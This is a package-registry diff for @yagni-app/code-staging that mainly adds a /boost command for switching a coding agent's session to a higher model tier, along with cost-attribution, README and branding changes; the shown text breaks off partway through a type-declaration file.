@yagni-app/code-staging 0.1.0-staging.1017.1 → 0.1.0-staging.1020.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +8 -6
- package/dist/extension/askAdvisorTool.js +7 -1
- package/dist/extension/boostCommand.d.ts +144 -0
- package/dist/extension/boostCommand.js +263 -0
- package/dist/extension/branding.d.ts +22 -0
- package/dist/extension/branding.js +25 -0
- package/dist/extension/config.d.ts +61 -0
- package/dist/extension/config.js +86 -0
- package/dist/extension/costHud.d.ts +128 -15
- package/dist/extension/costHud.js +189 -19
- package/dist/extension/index.d.ts +34 -4
- package/dist/extension/index.js +190 -31
- package/dist/extension/initPass.d.ts +65 -47
- package/dist/extension/initPass.js +145 -145
- package/dist/extension/pipeline/eval.d.ts +42 -5
- package/dist/extension/pipeline/eval.js +44 -0
- package/dist/extension/pipeline/goCommand.d.ts +12 -0
- package/dist/extension/pipeline/goCommand.js +124 -25
- package/dist/extension/pipeline/goCompareCommand.d.ts +18 -8
- package/dist/extension/pipeline/goCompareCommand.js +42 -23
- package/dist/extension/pipeline/orchestrator.js +9 -0
- package/dist/extension/pipeline/runCostTable.d.ts +37 -0
- package/dist/extension/pipeline/runCostTable.js +165 -0
- package/dist/extension/pipeline/runState.d.ts +19 -0
- package/dist/extension/pipeline/runState.js +11 -0
- package/dist/extension/pipeline/runner.d.ts +19 -0
- package/dist/extension/pipeline/runner.js +13 -1
- package/dist/extension/pipeline/stages.d.ts +3 -1
- package/dist/extension/pipeline/stages.js +3 -1
- package/dist/extension/pipeline/types.d.ts +7 -4
- package/dist/extension/provider.d.ts +7 -1
- package/dist/extension/provider.js +8 -1
- package/dist/extension/rerouteNotice.d.ts +42 -0
- package/dist/extension/rerouteNotice.js +67 -0
- package/dist/extension/sessionRuns.d.ts +45 -0
- package/dist/extension/sessionRuns.js +77 -0
- package/dist/extension/subagents.js +25 -0
- package/dist/launch.d.ts +5 -3
- package/dist/launch.js +18 -9
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -88,12 +88,14 @@ yagni -p "explain the deploy pipeline; ask_yagni if unsure" # one-shot / print
|
|
|
88
88
|
yagni logout # revoke the token and clear it locally
|
|
89
89
|
```
|
|
90
90
|
|
|
91
|
-
The agent runs on
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
`
|
|
91
|
+
The agent runs on model tiers routed by YAGNI: `advanced`, `standard`, and
|
|
92
|
+
`efficient` (cheapest) are the three selectable via `--model`; `peak`, the
|
|
93
|
+
strongest tier, is reserved for the `/go` pipeline's own judgment steps and is
|
|
94
|
+
not one of the three.
|
|
95
|
+
Interactive sessions default to `balanced`, which drives on `advanced`; pass
|
|
96
|
+
`--model standard` or `--model efficient` to switch a run. The `/go` pipeline
|
|
97
|
+
routes its own steps automatically — judgment steps (plan, review) on `peak`,
|
|
98
|
+
execution steps (map, implement, fix) on `standard`.
|
|
97
99
|
|
|
98
100
|
`login` opens a device-code flow: it prints a short code and a URL. Open the URL
|
|
99
101
|
in a browser where you are signed in to YAGNI, enter the code, and approve. The
|
|
@@ -113,7 +113,13 @@ export function makeAskAdvisorTool(opts) {
|
|
|
113
113
|
content: [{ type: "text", text: "Consulting the advisor…" }],
|
|
114
114
|
details: { consults: opts.state.read().consults, cost: 0 },
|
|
115
115
|
});
|
|
116
|
-
const result = await runStage(advisorStage(), { ticket: buildConsultBrief(params) }, {
|
|
116
|
+
const result = await runStage(advisorStage(), { ticket: buildConsultBrief(params) }, {
|
|
117
|
+
cwd: ctx?.cwd ?? process.cwd(),
|
|
118
|
+
...(signal ? { signal } : {}),
|
|
119
|
+
// YAG-471: attribute the consult's completions to the advisor, not
|
|
120
|
+
// the "plan" stage id advisorStage() borrows (see its docblock).
|
|
121
|
+
callerLabel: "advisor",
|
|
122
|
+
});
|
|
117
123
|
const cost = result.usage?.cost ?? 0;
|
|
118
124
|
const state = opts.state.record(cost);
|
|
119
125
|
if (result.exitCode !== 0 && !result.finalOutput.trim()) {
|
|
@@ -0,0 +1,144 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* `/boost` — the sanctioned session-scoped escalation to Peak (spec §7).
|
|
3
|
+
*
|
|
4
|
+
* The session default is the `balanced` tier. `/boost` flips the
|
|
5
|
+
* DRIVER session's live model to `peak` until `/boost off` or the process
|
|
6
|
+
* exits; `peak` stays directly pickable through pi's own model picker too,
|
|
7
|
+
* this just adds a one-word lever plus an attribution flag.
|
|
8
|
+
*
|
|
9
|
+
* Two halves, same split as `advisor.ts` / `permission.ts`:
|
|
10
|
+
*
|
|
11
|
+
* - `boostOn` / `boostOff` are PURE. They own every transition and the exact
|
|
12
|
+
* notice copy; no pi, no I/O, no env. That is what needs exhaustive tests.
|
|
13
|
+
* - `registerBoostCommand` is the wiring: it applies the pure result's
|
|
14
|
+
* `targetModelId` through pi's real model-switch API, toggles
|
|
15
|
+
* `process.env.YAGNI_BOOST`, and paints the notice + a status-bar chip.
|
|
16
|
+
*
|
|
17
|
+
* The model-switch API (verified against pi 0.83.0's typings, not guessed):
|
|
18
|
+
* `ctx.modelRegistry.find(provider, modelId)` resolves a tier id to a
|
|
19
|
+
* `Model`, and `pi.setModel(model)` (the top-level `ExtensionAPI` method, NOT
|
|
20
|
+
* `ctx.setModel` — `ExtensionCommandContext` does not expose a setter) applies
|
|
21
|
+
* it to the live session, resolving `false` when no API key is configured.
|
|
22
|
+
* The `yagni` provider's catalog entries key `id` on the tier id itself (see
|
|
23
|
+
* `provider.ts`), so `peak` is the pi model id for the peak tier.
|
|
24
|
+
*
|
|
25
|
+
* State lives in the registration closure — module/session-scoped, mirroring
|
|
26
|
+
* `costHud.ts`'s accumulator — because a session's process exit is the only
|
|
27
|
+
* "end" there is; nothing needs to persist across it. `registerBoostCommand`
|
|
28
|
+
* returns a small `{ isBoosted() }` handle onto that same closure so other
|
|
29
|
+
* registrations (currently just `/cost`, see below) can read the live flag
|
|
30
|
+
* without a second source of truth.
|
|
31
|
+
*
|
|
32
|
+
* Picker-drift guard (spec review item 3): pi's OWN model picker (Ctrl+P,
|
|
33
|
+
* `/model`) can change the live model independently of `/boost` in either
|
|
34
|
+
* direction, so `state.active` can go stale relative to `ctx.model.id`. Both
|
|
35
|
+
* halves read the live model and reconcile rather than trusting `state.active`
|
|
36
|
+
* blindly:
|
|
37
|
+
*
|
|
38
|
+
* - `boostOn` while already active but the live model has drifted OFF peak
|
|
39
|
+
* (the user cycled models mid-boost without `/boost off`): re-applies
|
|
40
|
+
* peak instead of a silent "Already boosted." that would leave the
|
|
41
|
+
* driver quietly running a cheaper tier under an attribution header that
|
|
42
|
+
* claims otherwise. The remembered `priorModelId` is left untouched — the
|
|
43
|
+
* tier to restore is still whatever was active before the ORIGINAL boost,
|
|
44
|
+
* not the tier the user happened to drift to.
|
|
45
|
+
* - `boostOff` while active but the live model is no longer peak (same
|
|
46
|
+
* drift, encountered from the other command): the user already left
|
|
47
|
+
* boost manually, so forcing a switch back to the remembered prior tier
|
|
48
|
+
* would clobber a choice they just made on purpose. Instead this clears
|
|
49
|
+
* `/boost`'s own bookkeeping (state, env, chip) without touching the
|
|
50
|
+
* model, and names where they actually landed.
|
|
51
|
+
*
|
|
52
|
+
* KNOWN asymmetry, documented rather than worked around: `YAGNI_BOOST=1`
|
|
53
|
+
* while boosted makes every CHILD process spawned during the boost (a /go
|
|
54
|
+
* run, a subagent, an advisor consult) inherit it, and those children's
|
|
55
|
+
* completions carry `x-yagni-boost` because their provider is registered
|
|
56
|
+
* fresh per child. The DRIVER's own completions do not gain that header
|
|
57
|
+
* retroactively — `buildYagniProvider`'s headers are baked into the
|
|
58
|
+
* `registerProvider` call once, at session start, from the env snapshot at
|
|
59
|
+
* that moment (see `provider.ts` / `attributionHeaders`). Re-registering the
|
|
60
|
+
* provider mid-session to pick up a new header is explicitly NOT the fix
|
|
61
|
+
* here: it would race the in-flight request the switch itself triggers and
|
|
62
|
+
* has no test coverage as a live-swap path.
|
|
63
|
+
*
|
|
64
|
+
* This is exactly why `/cost` cannot rely on server rows alone: the server's
|
|
65
|
+
* per-tier "Boosted (tier) spend" subtotal (`formatServerCostLines`, Task 7)
|
|
66
|
+
* only ever sees rows carrying `x-yagni-boost` — i.e. `/go` children, never
|
|
67
|
+
* the driver's own turns. A session that only chats while boosted would
|
|
68
|
+
* otherwise show no boost line at all. `registerCostCommand`'s `isBoosted`
|
|
69
|
+
* dep (threaded from THIS module's return handle, the same way
|
|
70
|
+
* `advisorSubtotal` is threaded from `advisor.ts`) closes that gap: `/cost`
|
|
71
|
+
* appends a fixed "Boost is on. Driver turns bill at the peak tier." line
|
|
72
|
+
* whenever the live toggle is on, on BOTH the server-authoritative and the
|
|
73
|
+
* local-fallback branch, independent of what server rows happen to show.
|
|
74
|
+
*/
|
|
75
|
+
import type { ExtensionAPI } from "@earendil-works/pi-coding-agent";
|
|
76
|
+
/** Session-scoped boost state, held in the registration closure. */
|
|
77
|
+
export interface BoostState {
|
|
78
|
+
active: boolean;
|
|
79
|
+
/** The tier to restore on `/boost off`. Set only while `active`. */
|
|
80
|
+
priorModelId?: string;
|
|
81
|
+
}
|
|
82
|
+
/** The pure outcome of a `/boost` transition. */
|
|
83
|
+
export interface BoostResult {
|
|
84
|
+
state: BoostState;
|
|
85
|
+
/** Exact notice text to surface to the user. */
|
|
86
|
+
notice: string;
|
|
87
|
+
/** The tier id to switch the session to, or undefined for a pure no-op. */
|
|
88
|
+
targetModelId?: string;
|
|
89
|
+
}
|
|
90
|
+
/**
|
|
91
|
+
* Turn boost on. PURE.
|
|
92
|
+
*
|
|
93
|
+
* - Already active AND the live model is still `peak`: genuine no-op,
|
|
94
|
+
* "Already boosted." (no switch — nothing about the prior tier changes).
|
|
95
|
+
* - Already active but the live model has drifted off `peak` (picker-drift
|
|
96
|
+
* guard 3b, see module docblock): re-applies `peak`, keeping the ORIGINAL
|
|
97
|
+
* `priorModelId` rather than adopting the drifted-to tier.
|
|
98
|
+
* - Not active, current model IS already `peak`: activates anyway (so
|
|
99
|
+
* attribution and `/boost off` behave correctly) with a distinct notice,
|
|
100
|
+
* remembering `peak` itself as the tier to restore.
|
|
101
|
+
* - Not active, otherwise: remembers the current tier, targets `peak`.
|
|
102
|
+
*/
|
|
103
|
+
export declare function boostOn(state: BoostState, currentModelId: string | undefined): BoostResult;
|
|
104
|
+
/**
|
|
105
|
+
* Turn boost off. PURE.
|
|
106
|
+
*
|
|
107
|
+
* - Not active: no-op, "Boost is not on."
|
|
108
|
+
* - Active but the live model is no longer `peak` (picker-drift guard 3a,
|
|
109
|
+
* see module docblock): the user already left boost manually. Clears
|
|
110
|
+
* `/boost`'s own bookkeeping WITHOUT a switch — forcing one back to the
|
|
111
|
+
* remembered prior tier would clobber a choice just made on purpose — and
|
|
112
|
+
* names the model they actually landed on.
|
|
113
|
+
* - Active and still on `peak`: restores the remembered prior tier (falling
|
|
114
|
+
* back to the session default when none was recorded, which should not
|
|
115
|
+
* normally happen). When the prior tier is itself `peak` (the
|
|
116
|
+
* already-on-Peak activation path), the resulting switch is a no-op in
|
|
117
|
+
* effect — still applied, harmlessly.
|
|
118
|
+
*/
|
|
119
|
+
export declare function boostOff(state: BoostState, currentModelId: string | undefined): BoostResult;
|
|
120
|
+
/** Injectable seams for `registerBoostCommand`. */
|
|
121
|
+
export interface RegisterBoostCommandDeps {
|
|
122
|
+
/** Environment `YAGNI_BOOST` is toggled on. Defaults to `process.env`. */
|
|
123
|
+
env?: NodeJS.ProcessEnv;
|
|
124
|
+
}
|
|
125
|
+
/** What `registerBoostCommand` hands back so other registrations (`/cost`) can read the live flag. */
|
|
126
|
+
export interface BoostCommandHandle {
|
|
127
|
+
/** Whether the session is currently boosted, read fresh off the same closure `/boost` mutates. */
|
|
128
|
+
isBoosted(): boolean;
|
|
129
|
+
}
|
|
130
|
+
/**
|
|
131
|
+
* Register the `/boost` command.
|
|
132
|
+
*
|
|
133
|
+
* `/boost` (no args) turns boost on; `/boost off` turns it off; any other
|
|
134
|
+
* argument shows a usage notice and changes nothing. Every transition that
|
|
135
|
+
* requires a model switch runs it through pi's real API and is guarded end to
|
|
136
|
+
* end: state and `YAGNI_BOOST` are only ever committed together, AFTER the
|
|
137
|
+
* switch succeeds (or is deliberately skipped — the picker-drift guards), so
|
|
138
|
+
* a half-applied boost (env set but model unchanged, or vice versa) can never
|
|
139
|
+
* happen. A failed ON reports "Boost failed."; a failed OFF reports a
|
|
140
|
+
* DISTINCT message, because the failure mode is materially worse — the
|
|
141
|
+
* driver is left still running (and billing) on Peak, not merely unchanged.
|
|
142
|
+
*/
|
|
143
|
+
export declare function registerBoostCommand(pi: ExtensionAPI, deps?: RegisterBoostCommandDeps): BoostCommandHandle;
|
|
144
|
+
//# sourceMappingURL=boostCommand.d.ts.map
|
|
@@ -0,0 +1,263 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* `/boost` — the sanctioned session-scoped escalation to Peak (spec §7).
|
|
3
|
+
*
|
|
4
|
+
* The session default is the `balanced` tier. `/boost` flips the
|
|
5
|
+
* DRIVER session's live model to `peak` until `/boost off` or the process
|
|
6
|
+
* exits; `peak` stays directly pickable through pi's own model picker too,
|
|
7
|
+
* this just adds a one-word lever plus an attribution flag.
|
|
8
|
+
*
|
|
9
|
+
* Two halves, same split as `advisor.ts` / `permission.ts`:
|
|
10
|
+
*
|
|
11
|
+
* - `boostOn` / `boostOff` are PURE. They own every transition and the exact
|
|
12
|
+
* notice copy; no pi, no I/O, no env. That is what needs exhaustive tests.
|
|
13
|
+
* - `registerBoostCommand` is the wiring: it applies the pure result's
|
|
14
|
+
* `targetModelId` through pi's real model-switch API, toggles
|
|
15
|
+
* `process.env.YAGNI_BOOST`, and paints the notice + a status-bar chip.
|
|
16
|
+
*
|
|
17
|
+
* The model-switch API (verified against pi 0.83.0's typings, not guessed):
|
|
18
|
+
* `ctx.modelRegistry.find(provider, modelId)` resolves a tier id to a
|
|
19
|
+
* `Model`, and `pi.setModel(model)` (the top-level `ExtensionAPI` method, NOT
|
|
20
|
+
* `ctx.setModel` — `ExtensionCommandContext` does not expose a setter) applies
|
|
21
|
+
* it to the live session, resolving `false` when no API key is configured.
|
|
22
|
+
* The `yagni` provider's catalog entries key `id` on the tier id itself (see
|
|
23
|
+
* `provider.ts`), so `peak` is the pi model id for the peak tier.
|
|
24
|
+
*
|
|
25
|
+
* State lives in the registration closure — module/session-scoped, mirroring
|
|
26
|
+
* `costHud.ts`'s accumulator — because a session's process exit is the only
|
|
27
|
+
* "end" there is; nothing needs to persist across it. `registerBoostCommand`
|
|
28
|
+
* returns a small `{ isBoosted() }` handle onto that same closure so other
|
|
29
|
+
* registrations (currently just `/cost`, see below) can read the live flag
|
|
30
|
+
* without a second source of truth.
|
|
31
|
+
*
|
|
32
|
+
* Picker-drift guard (spec review item 3): pi's OWN model picker (Ctrl+P,
|
|
33
|
+
* `/model`) can change the live model independently of `/boost` in either
|
|
34
|
+
* direction, so `state.active` can go stale relative to `ctx.model.id`. Both
|
|
35
|
+
* halves read the live model and reconcile rather than trusting `state.active`
|
|
36
|
+
* blindly:
|
|
37
|
+
*
|
|
38
|
+
* - `boostOn` while already active but the live model has drifted OFF peak
|
|
39
|
+
* (the user cycled models mid-boost without `/boost off`): re-applies
|
|
40
|
+
* peak instead of a silent "Already boosted." that would leave the
|
|
41
|
+
* driver quietly running a cheaper tier under an attribution header that
|
|
42
|
+
* claims otherwise. The remembered `priorModelId` is left untouched — the
|
|
43
|
+
* tier to restore is still whatever was active before the ORIGINAL boost,
|
|
44
|
+
* not the tier the user happened to drift to.
|
|
45
|
+
* - `boostOff` while active but the live model is no longer peak (same
|
|
46
|
+
* drift, encountered from the other command): the user already left
|
|
47
|
+
* boost manually, so forcing a switch back to the remembered prior tier
|
|
48
|
+
* would clobber a choice they just made on purpose. Instead this clears
|
|
49
|
+
* `/boost`'s own bookkeeping (state, env, chip) without touching the
|
|
50
|
+
* model, and names where they actually landed.
|
|
51
|
+
*
|
|
52
|
+
* KNOWN asymmetry, documented rather than worked around: `YAGNI_BOOST=1`
|
|
53
|
+
* while boosted makes every CHILD process spawned during the boost (a /go
|
|
54
|
+
* run, a subagent, an advisor consult) inherit it, and those children's
|
|
55
|
+
* completions carry `x-yagni-boost` because their provider is registered
|
|
56
|
+
* fresh per child. The DRIVER's own completions do not gain that header
|
|
57
|
+
* retroactively — `buildYagniProvider`'s headers are baked into the
|
|
58
|
+
* `registerProvider` call once, at session start, from the env snapshot at
|
|
59
|
+
* that moment (see `provider.ts` / `attributionHeaders`). Re-registering the
|
|
60
|
+
* provider mid-session to pick up a new header is explicitly NOT the fix
|
|
61
|
+
* here: it would race the in-flight request the switch itself triggers and
|
|
62
|
+
* has no test coverage as a live-swap path.
|
|
63
|
+
*
|
|
64
|
+
* This is exactly why `/cost` cannot rely on server rows alone: the server's
|
|
65
|
+
* per-tier "Boosted (tier) spend" subtotal (`formatServerCostLines`, Task 7)
|
|
66
|
+
* only ever sees rows carrying `x-yagni-boost` — i.e. `/go` children, never
|
|
67
|
+
* the driver's own turns. A session that only chats while boosted would
|
|
68
|
+
* otherwise show no boost line at all. `registerCostCommand`'s `isBoosted`
|
|
69
|
+
* dep (threaded from THIS module's return handle, the same way
|
|
70
|
+
* `advisorSubtotal` is threaded from `advisor.ts`) closes that gap: `/cost`
|
|
71
|
+
* appends a fixed "Boost is on. Driver turns bill at the peak tier." line
|
|
72
|
+
* whenever the live toggle is on, on BOTH the server-authoritative and the
|
|
73
|
+
* local-fallback branch, independent of what server rows happen to show.
|
|
74
|
+
*/
|
|
75
|
+
/** The pi provider name the YAGNI catalog registers under (see `provider.ts`). */
|
|
76
|
+
const YAGNI_PROVIDER = "yagni";
|
|
77
|
+
/** The tier `/boost` escalates to. */
|
|
78
|
+
const BOOST_TIER = "peak";
|
|
79
|
+
/** The session default tier, restored when no prior tier is known. */
|
|
80
|
+
const DEFAULT_TIER = "balanced";
|
|
81
|
+
/** Tier ids are lowercase; every known tier's display name is just Title Case of the id. */
|
|
82
|
+
function displayTierName(id) {
|
|
83
|
+
return id.length === 0 ? id : id.charAt(0).toUpperCase() + id.slice(1);
|
|
84
|
+
}
|
|
85
|
+
/**
|
|
86
|
+
* Turn boost on. PURE.
|
|
87
|
+
*
|
|
88
|
+
* - Already active AND the live model is still `peak`: genuine no-op,
|
|
89
|
+
* "Already boosted." (no switch — nothing about the prior tier changes).
|
|
90
|
+
* - Already active but the live model has drifted off `peak` (picker-drift
|
|
91
|
+
* guard 3b, see module docblock): re-applies `peak`, keeping the ORIGINAL
|
|
92
|
+
* `priorModelId` rather than adopting the drifted-to tier.
|
|
93
|
+
* - Not active, current model IS already `peak`: activates anyway (so
|
|
94
|
+
* attribution and `/boost off` behave correctly) with a distinct notice,
|
|
95
|
+
* remembering `peak` itself as the tier to restore.
|
|
96
|
+
* - Not active, otherwise: remembers the current tier, targets `peak`.
|
|
97
|
+
*/
|
|
98
|
+
export function boostOn(state, currentModelId) {
|
|
99
|
+
if (state.active) {
|
|
100
|
+
if (currentModelId === BOOST_TIER) {
|
|
101
|
+
return { state, notice: "Already boosted." };
|
|
102
|
+
}
|
|
103
|
+
return {
|
|
104
|
+
state,
|
|
105
|
+
notice: `Re-boosted to Peak. /boost off to return to ${displayTierName(state.priorModelId ?? DEFAULT_TIER)}.`,
|
|
106
|
+
targetModelId: BOOST_TIER,
|
|
107
|
+
};
|
|
108
|
+
}
|
|
109
|
+
if (currentModelId === BOOST_TIER) {
|
|
110
|
+
return {
|
|
111
|
+
state: { active: true, priorModelId: BOOST_TIER },
|
|
112
|
+
notice: "Already on Peak. /boost off returns to Peak.",
|
|
113
|
+
targetModelId: BOOST_TIER,
|
|
114
|
+
};
|
|
115
|
+
}
|
|
116
|
+
return {
|
|
117
|
+
state: { active: true, priorModelId: currentModelId },
|
|
118
|
+
notice: `Boosted to Peak. /boost off to return to ${displayTierName(currentModelId ?? DEFAULT_TIER)}.`,
|
|
119
|
+
targetModelId: BOOST_TIER,
|
|
120
|
+
};
|
|
121
|
+
}
|
|
122
|
+
/**
|
|
123
|
+
* Turn boost off. PURE.
|
|
124
|
+
*
|
|
125
|
+
* - Not active: no-op, "Boost is not on."
|
|
126
|
+
* - Active but the live model is no longer `peak` (picker-drift guard 3a,
|
|
127
|
+
* see module docblock): the user already left boost manually. Clears
|
|
128
|
+
* `/boost`'s own bookkeeping WITHOUT a switch — forcing one back to the
|
|
129
|
+
* remembered prior tier would clobber a choice just made on purpose — and
|
|
130
|
+
* names the model they actually landed on.
|
|
131
|
+
* - Active and still on `peak`: restores the remembered prior tier (falling
|
|
132
|
+
* back to the session default when none was recorded, which should not
|
|
133
|
+
* normally happen). When the prior tier is itself `peak` (the
|
|
134
|
+
* already-on-Peak activation path), the resulting switch is a no-op in
|
|
135
|
+
* effect — still applied, harmlessly.
|
|
136
|
+
*/
|
|
137
|
+
export function boostOff(state, currentModelId) {
|
|
138
|
+
if (!state.active) {
|
|
139
|
+
return { state, notice: "Boost is not on." };
|
|
140
|
+
}
|
|
141
|
+
if (currentModelId !== BOOST_TIER) {
|
|
142
|
+
return {
|
|
143
|
+
state: { active: false, priorModelId: undefined },
|
|
144
|
+
notice: `Boost off. Leaving the model on ${displayTierName(currentModelId ?? DEFAULT_TIER)}.`,
|
|
145
|
+
};
|
|
146
|
+
}
|
|
147
|
+
const priorId = state.priorModelId ?? DEFAULT_TIER;
|
|
148
|
+
return {
|
|
149
|
+
state: { active: false, priorModelId: undefined },
|
|
150
|
+
notice: `Back to ${displayTierName(priorId)}.`,
|
|
151
|
+
targetModelId: priorId,
|
|
152
|
+
};
|
|
153
|
+
}
|
|
154
|
+
/**
|
|
155
|
+
* Resolve `tierId` to a live `Model` and apply it via `pi.setModel`.
|
|
156
|
+
*
|
|
157
|
+
* On a registry lookup miss, `allowFallback` (true only on the OFF path —
|
|
158
|
+
* MINOR 5) retries once against the session default tier rather than
|
|
159
|
+
* stranding the user on Peak over one missing catalog entry. Returns the
|
|
160
|
+
* tier id that was ACTUALLY applied, so the caller can tell whether the
|
|
161
|
+
* fallback fired and adjust the notice to name it honestly.
|
|
162
|
+
*
|
|
163
|
+
* @throws when neither the requested tier nor (if allowed) the fallback
|
|
164
|
+
* resolves, or when `pi.setModel` itself throws or resolves `false`.
|
|
165
|
+
*/
|
|
166
|
+
async function applyTier(pi, ctx, tierId, allowFallback) {
|
|
167
|
+
let model = ctx.modelRegistry?.find(YAGNI_PROVIDER, tierId);
|
|
168
|
+
let applied = tierId;
|
|
169
|
+
if (!model && allowFallback && tierId !== DEFAULT_TIER) {
|
|
170
|
+
model = ctx.modelRegistry?.find(YAGNI_PROVIDER, DEFAULT_TIER);
|
|
171
|
+
applied = DEFAULT_TIER;
|
|
172
|
+
}
|
|
173
|
+
if (!model) {
|
|
174
|
+
throw new Error(`Unknown YAGNI tier "${tierId}".`);
|
|
175
|
+
}
|
|
176
|
+
const ok = await pi.setModel(model);
|
|
177
|
+
if (!ok) {
|
|
178
|
+
throw new Error("setModel reported no API key configured.");
|
|
179
|
+
}
|
|
180
|
+
return applied;
|
|
181
|
+
}
|
|
182
|
+
/**
|
|
183
|
+
* Register the `/boost` command.
|
|
184
|
+
*
|
|
185
|
+
* `/boost` (no args) turns boost on; `/boost off` turns it off; any other
|
|
186
|
+
* argument shows a usage notice and changes nothing. Every transition that
|
|
187
|
+
* requires a model switch runs it through pi's real API and is guarded end to
|
|
188
|
+
* end: state and `YAGNI_BOOST` are only ever committed together, AFTER the
|
|
189
|
+
* switch succeeds (or is deliberately skipped — the picker-drift guards), so
|
|
190
|
+
* a half-applied boost (env set but model unchanged, or vice versa) can never
|
|
191
|
+
* happen. A failed ON reports "Boost failed."; a failed OFF reports a
|
|
192
|
+
* DISTINCT message, because the failure mode is materially worse — the
|
|
193
|
+
* driver is left still running (and billing) on Peak, not merely unchanged.
|
|
194
|
+
*/
|
|
195
|
+
export function registerBoostCommand(pi, deps = {}) {
|
|
196
|
+
const env = deps.env ?? process.env;
|
|
197
|
+
let state = { active: false };
|
|
198
|
+
const paintStatus = (ctx, active) => {
|
|
199
|
+
try {
|
|
200
|
+
if (ctx.hasUI)
|
|
201
|
+
ctx.ui.setStatus?.("yagni-boost", active ? "⚡ Peak" : undefined);
|
|
202
|
+
}
|
|
203
|
+
catch {
|
|
204
|
+
// The chip is chrome; never let it break /boost.
|
|
205
|
+
}
|
|
206
|
+
};
|
|
207
|
+
pi.registerCommand("boost", {
|
|
208
|
+
description: "Escalate this session's model to Peak until /boost off or the session ends. /boost off returns to the prior tier.",
|
|
209
|
+
handler: async (args, ctx) => {
|
|
210
|
+
const notify = (message, type) => {
|
|
211
|
+
if (ctx.hasUI)
|
|
212
|
+
ctx.ui.notify(message, type);
|
|
213
|
+
};
|
|
214
|
+
// MINOR 4: case-insensitive "off" match, mirroring /mode's arg handling.
|
|
215
|
+
const arg = args.trim().toLowerCase();
|
|
216
|
+
if (arg !== "" && arg !== "off") {
|
|
217
|
+
notify("Usage: /boost (turn on) or /boost off.", "warning");
|
|
218
|
+
return;
|
|
219
|
+
}
|
|
220
|
+
const isOff = arg === "off";
|
|
221
|
+
const wasActive = state.active;
|
|
222
|
+
const result = isOff ? boostOff(state, ctx.model?.id) : boostOn(state, ctx.model?.id);
|
|
223
|
+
try {
|
|
224
|
+
let notice = result.notice;
|
|
225
|
+
if (result.targetModelId) {
|
|
226
|
+
const applied = await applyTier(pi, ctx, result.targetModelId, isOff);
|
|
227
|
+
if (applied !== result.targetModelId) {
|
|
228
|
+
// MINOR 5: the remembered/target tier no longer resolves in the
|
|
229
|
+
// catalog; we landed on the session default instead of
|
|
230
|
+
// stranding the user on Peak. Name the fallback so the notice
|
|
231
|
+
// stays honest about what actually happened.
|
|
232
|
+
notice = `Back to ${displayTierName(applied)} (could not restore ${displayTierName(result.targetModelId)}).`;
|
|
233
|
+
}
|
|
234
|
+
}
|
|
235
|
+
state = result.state;
|
|
236
|
+
// MINOR 6: only touch the env on a real active/inactive flip. Both
|
|
237
|
+
// pure no-op paths ("Already boosted.", "Boost is not on.") return
|
|
238
|
+
// `state` unchanged, so this never fires for them — an inherited
|
|
239
|
+
// YAGNI_BOOST from outside this session is left exactly as found.
|
|
240
|
+
if (state.active !== wasActive) {
|
|
241
|
+
if (state.active) {
|
|
242
|
+
env.YAGNI_BOOST = "1";
|
|
243
|
+
}
|
|
244
|
+
else {
|
|
245
|
+
delete env.YAGNI_BOOST;
|
|
246
|
+
}
|
|
247
|
+
}
|
|
248
|
+
notify(notice, "info");
|
|
249
|
+
paintStatus(ctx, state.active);
|
|
250
|
+
}
|
|
251
|
+
catch {
|
|
252
|
+
// IMPORTANT 1: a failed OFF is materially worse than a failed ON —
|
|
253
|
+
// the driver is STILL on Peak, still billing at Peak rates, which a
|
|
254
|
+
// generic "Boost failed." does not convey. Neither `state` nor
|
|
255
|
+
// `YAGNI_BOOST` was touched above (the throw lands before both), so
|
|
256
|
+
// the chip is also left exactly as it was: still lit.
|
|
257
|
+
notify(isOff ? "Could not leave boost. Still on Peak; try /boost off again." : "Boost failed.", "error");
|
|
258
|
+
}
|
|
259
|
+
},
|
|
260
|
+
});
|
|
261
|
+
return { isBoosted: () => state.active };
|
|
262
|
+
}
|
|
263
|
+
//# sourceMappingURL=boostCommand.js.map
|
|
@@ -14,8 +14,30 @@ export declare const BRAND_NAME = "YAGNI Code";
|
|
|
14
14
|
* "You are an expert coding assistant operating inside pi..." opener. It states
|
|
15
15
|
* the differentiator (connected to the YAGNI app) and the working contract
|
|
16
16
|
* (consult ask_yagni before guessing) so the agent behaves more autonomously.
|
|
17
|
+
*
|
|
18
|
+
* This is the BASE identity, used for every non-driver caller (a `/go` stage
|
|
19
|
+
* child, a subagent, an advisor consult) as well as the driver, since the
|
|
20
|
+
* extension loads identically in every one of those pi processes. It carries
|
|
21
|
+
* no delegation directive: see {@link YAGNI_IDENTITY_DRIVER}.
|
|
17
22
|
*/
|
|
18
23
|
export declare const YAGNI_IDENTITY: string;
|
|
24
|
+
/**
|
|
25
|
+
* The delegation-first directive: fan mechanical/wide work out to subagents
|
|
26
|
+
* (which run on cheaper tiers) and keep judgment, synthesis, and the user
|
|
27
|
+
* conversation in this session. DRIVER-ONLY (see {@link YAGNI_IDENTITY_DRIVER}):
|
|
28
|
+
* a `/go` stage child has no `subagent` tool, so this instruction would be
|
|
29
|
+
* pure prompt noise there, or worse, an attempt to call a tool that doesn't
|
|
30
|
+
* exist.
|
|
31
|
+
*/
|
|
32
|
+
export declare const DRIVER_DELEGATION_PARAGRAPH: string;
|
|
33
|
+
/**
|
|
34
|
+
* The identity used for the interactive DRIVER session ONLY: {@link
|
|
35
|
+
* YAGNI_IDENTITY} plus {@link DRIVER_DELEGATION_PARAGRAPH}. The caller (index.ts)
|
|
36
|
+
* selects between this and the base `YAGNI_IDENTITY` per-process based on the
|
|
37
|
+
* effective `x-yagni-caller` attribution (config.ts's `isDriverCaller`) — this
|
|
38
|
+
* module stays a pure string, with no env dependency of its own.
|
|
39
|
+
*/
|
|
40
|
+
